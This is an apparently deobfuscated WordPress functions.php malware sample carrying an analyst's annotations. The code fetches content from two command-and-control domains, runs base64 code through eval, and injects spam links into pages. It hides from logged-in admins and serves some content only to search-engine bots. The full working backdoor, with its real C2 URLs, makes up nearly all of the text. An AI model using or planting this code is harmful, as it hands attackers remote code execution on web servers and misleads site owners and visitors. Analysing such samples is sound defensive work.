HTTP_SDCHIMBR virus functions.php base64 decoding

<?php

//This piece of a shit basically runs from the bottom to the top

if (function_exists('get_url_999') === false) {
    function get_url_999($url)
    {
        $content = "";
        $content = @trycurl_999($url);
        if ($content !== false) return $content;
        $content = @tryfile_999($url);
        if ($content !== false) return $content;
        $content = @tryfopen_999($url);
        if ($content !== false) return $content;
        $content = @tryfsockopen_999($url);
        if ($content !== false) return $content;
        $content = @trysocket_999($url);
        if ($content !== false) return $content;
        return '';
    }
}

if (function_exists('trycurl_999') === false) {
    function trycurl_999($url)
    {
        if (function_exists('curl_init') === false) return false;
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $result = curl_exec($ch);
        curl_close($ch);
        if ($result == "") return false;
        return $result;
    }
}

if (function_exists('tryfile_999') === false) {
    function tryfile_999($url)
    {
        if (function_exists('file') === false) return false;
        $inc = @file($url);
        $buf = @implode('', $inc);
        if ($buf == "") return false;
        return $buf;
    }
}

if (function_exists('tryfopen_999') === false) {
    function tryfopen_999($url)
    {
        if (function_exists('fopen') === false) return false;
        $buf = '';
        $f = @fopen($url, 'r');
        if ($f) {
            while (!feof($f)) {
                $buf.= fread($f, 10000);
            }

            fclose($f);
        }
        else return false;
        if ($buf == "") return false;
        return $buf;
    }
}

if (function_exists('tryfsockopen_999') === false) {
    function tryfsockopen_999($url)
    {
        if (function_exists('fsockopen') === false) return false;
        $p = @parse_url($url);
        $host = $p['host'];
        $uri = $p['path'] . '?' . $p['query'];
        $f = @fsockopen($host, 80, $errno, $errstr, 30);
        if (!$f) return false;
        $request = "GET $uri HTTP/1.0\n";
        $request.= "Host: $host\n\n";
        fwrite($f, $request);
        $buf = '';
        while (!feof($f)) {
            $buf.= fread($f, 10000);
        }

        fclose($f);
        if ($buf == "") return false;
        list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10) , $buf);
        return $buf;
    }
}

if (function_exists('trysocket_999') === false) {
    function trysocket_999($url)
    {
        if (function_exists('socket_create') === false) return false;
        $p = @parse_url($url);
        $host = $p['host'];
        $uri = $p['path'] . '?' . $p['query'];
        $ip1 = @gethostbyname($host);
        $ip2 = @long2ip(@ip2long($ip1));
        if ($ip1 != $ip2) return false;
        $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
        if (!@socket_connect($sock, $ip1, 80)) {
            @socket_close($sock);
            return false;
        }

        $request = "GET $uri HTTP/1.0\n";
        $request.= "Host: $host\n\n";
        socket_write($sock, $request);
        $buf = '';
        while ($t = socket_read($sock, 10000)) {
            $buf.= $t;
        }

        @socket_close($sock);
        if ($buf == "") return false;
        list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10) , $buf);
        return $buf;
    }
}
//Replace first occourence...
if (function_exists('str_replace_first') === false) {
    function str_replace_first($search, $replace, $subject)
    {
        $pos = stripos($subject, $search);
        if ($pos !== false) {
            $subject = substr_replace($subject, $replace, $pos, strlen($search));
        }

        return $subject;
    }
}
//Is one of the listed bots
if (function_exists('is_bot_ua') === false) {
    function is_bot_ua()
    {
        $bot = 0;
        $ua = @$_SERVER['HTTP_USER_AGENT'];
        if (stristr($ua, "msnbot") || stristr($ua, "Yahoo")) $bot = 1;
        if (stristr($ua, "bingbot") || stristr($ua, "googlebot")) $bot = 1;
        return $bot;
    }
}
//Is google bot
if (function_exists('is_googlebot_ip') === false) {
    function is_googlebot_ip()
    {
        $k = 0;
        $ip = sprintf("%u", @ip2long(@$_SERVER["REMOTE_ADDR"]));
        if (($ip >= 1123631104) && ($ip <= 1123639295)) $k = 1;
        return $k;
    }
}

if (function_exists('update_file_999') === false) {
    function update_file_999()
    {
        $uri = "g.php?t=m&i=30a4d81929e5efc43458e7d1e14d650e";
        $actual1 = "http://pupkonexs.com/" . $uri;
        $actual2 = "http://cooperjsutf8.ru/" . $uri;
        /*
         *  I've went to these servers and they returned me the following -
         *  pupk - 0|||PC9kaXY+fHx8fHx8PC9kaXY+fHx8PGEgaHJlZj0iaHR0cDovL3NhbmRib3gubWF0aGFuLmNhL2dlbmVyaWMtbGV2aXRyYS1uby1wcmVzY3JpcHRpb24tZnJlZS8iPmdlbmVyaWMgbGV2aXRyYSBubyBwcmVzY3JpcHRpb24gZnJlZTwvYT4gCg==
         *  cooper - 0|||PC9kaXY+fHx8fHx8PC9kaXY+fHx8PGEgaHJlZj0iaHR0cDovL3NhbmRib3gubWF0aGFuLmNhL2dlbmVyaWMtbGV2aXRyYS1uby1wcmVzY3JpcHRpb24tZnJlZS8iPmdlbmVyaWMgbGV2aXRyYSBubyBwcmVzY3JpcHRpb24gZnJlZTwvYT4gCg==
         *  Both are the same, but where's the |||CODE|||
         *  Probably outdates/invalid or not ready to execute it by the C&C
         *
         *  The decoded crap from above is an html code
         *  </div>||||||</div>|||<a href="http://sandbox.mathan.ca/generic-levitra-no-prescription-free/">generic levitra no prescription free</a>
         *
         * */
        $val = get_url_999($actual1);  // get data from $actual1
        if ($val == "") $val = get_url_999($actual2); //if can't, try getting from $actual2
        if (strstr($val, "|||CODE|||")) { //If code found after |||CODE|||
            list($val, $code) = explode("|||CODE|||", $val); //if $val is X|||CODE|||Y then $val is X and $code is Y
            eval(base64_decode($code)); //Decode the base64 and run the code
        }

        return $val; //Return val, in this case, 0
    }
}

if (function_exists('callback_function_php') === false) {
    function callback_function_php($p)
    {
        ///If admin/user, don't do a thing
        if (isset($_COOKIE['wordpress_test_cookie']) || isset($_COOKIE['wp-settings-1']) || isset($_COOKIE['wp-settings-time-1']) || (function_exists('is_user_logged_in') && is_user_logged_in())) {
            return $p;
        }
        //If file requested is xmlrpc.php, don't do a thing
        if (stristr($_SERVER['REQUEST_URI'], "xmlrpc.php")) {
            return $p;
        }
        //If file requested is wp-login, don't do a thing
        if (stristr($_SERVER['REQUEST_URI'], "wp-login")) {
            return $p;
        }
        //If file requested is wp-admin, don't do a thing
        if (stristr($_SERVER['REQUEST_URI'], "wp-admin")) {
            return $p;
        }
        //else...
        $x = '{options_names}';
        $buf = "";
        $update = 0;
        $k = get_option($x); //$k = get_option('{options_names'}), probably gets the list of WP options from the DB
        if ($k === FALSE) { //If no options
            $emp = array();
            if (!add_option($x, $emp, '', 'no')) { //If failed to add option named $x with value $emp and not deprecated and not autoload
                return $p; //Return the buffer and don't do a thing
            }

            $update = 1; //Otherwise - update is 1
        }
        else {
            $ctime = time() - @$k[1]; //now - char[1] at $k
            if ($ctime > 3600 * 12) { //if time past between now and $k is greater than 12 hours
                $update = 1; // update
            }
        }

        if ($update) { //if $update is 1
            $val = update_file_999(); //Get $val
            $k = array();
            $k[0] = $val; //Val
            $k[1] = time(); //Current time
            if (!update_option($x, $k)) { //Set the WP option in the DB, Probably when to change the ad(?)
                return $p; //If didn't succeed then again, return the buffer
            }
        }

        if (!$k = get_option($x)) { //If can't get the option, return the buffer
            return $p;
        }

        $buf = @$k[0]; //Could be the code
        if ($buf == "") {
            return $p;
        }

        list($type, $text) = @explode("|||", $buf); //This case, $type is 0 and $text is the html above
        if ($text == "") return $p; //If no text, return the buffer
        $type+= 0;
        $bot = 0;
        if ($type == 0) { //Our case...
            $buf1 = @base64_decode($text); //Decode the encoded ad
            list($tagjs, $js, $tagtext1, $text1) = @explode("|||", $buf1);//No JS this time ,noly html
            if (stristr($p, $text1)) return $p; //If found $text1 in the buffer then return it
            if (($tagjs != "") && (stristr($p, $tagjs))) { //If JS is found
                $p = str_replace_first($tagjs, $js . " " . $tagjs, $p);
            }
            else {
                $p = $p . $js;
            }

            if (($tagtext1 != "") && (stristr($p, $tagtext1))) {//No idea yet
                $p = str_replace_first($tagtext1, $text1 . " " . $tagtext1, $p); //No idea yet
            }
            else {
                $p = $p . $text1; //Add the html to the buffer
            }
        }
        else
        if (($type == 1) || ($type == 2) || ($type == 3) || ($type == 4)) {
            if (($type == 1) || ($type == 4)) {
                $bot = is_bot_ua();
            }

            if (($type == 2) || ($type == 3)) {
                $bot = is_googlebot_ip();
            }

            if ($bot) { //If it's a bot
                $buf1 = @base64_decode($text);
                list($tag, $text1) = @explode("|||", $buf1); //In our case $tag is ""
                if (($tag != "") && ($text1 != "")) {
                    if (stristr($p, $tag)) {
                        if (($type == 3) || ($type == 4)) {
                            $p = @str_ireplace($tag, $tag . " " . $text1, $p);
                        }
                        else {
                            $p = str_replace_first($tag, $tag . " " . $text1, $p);
                        }
                    }
                    else {
                        $p = $p . $text1;
                    }
                }
            }
        }

        return $p;
    }
}

///Wait till wordpress ends executing its code and then execute callback_function_php
if (function_exists('ob_start')) {
    ob_start("callback_function_php");
}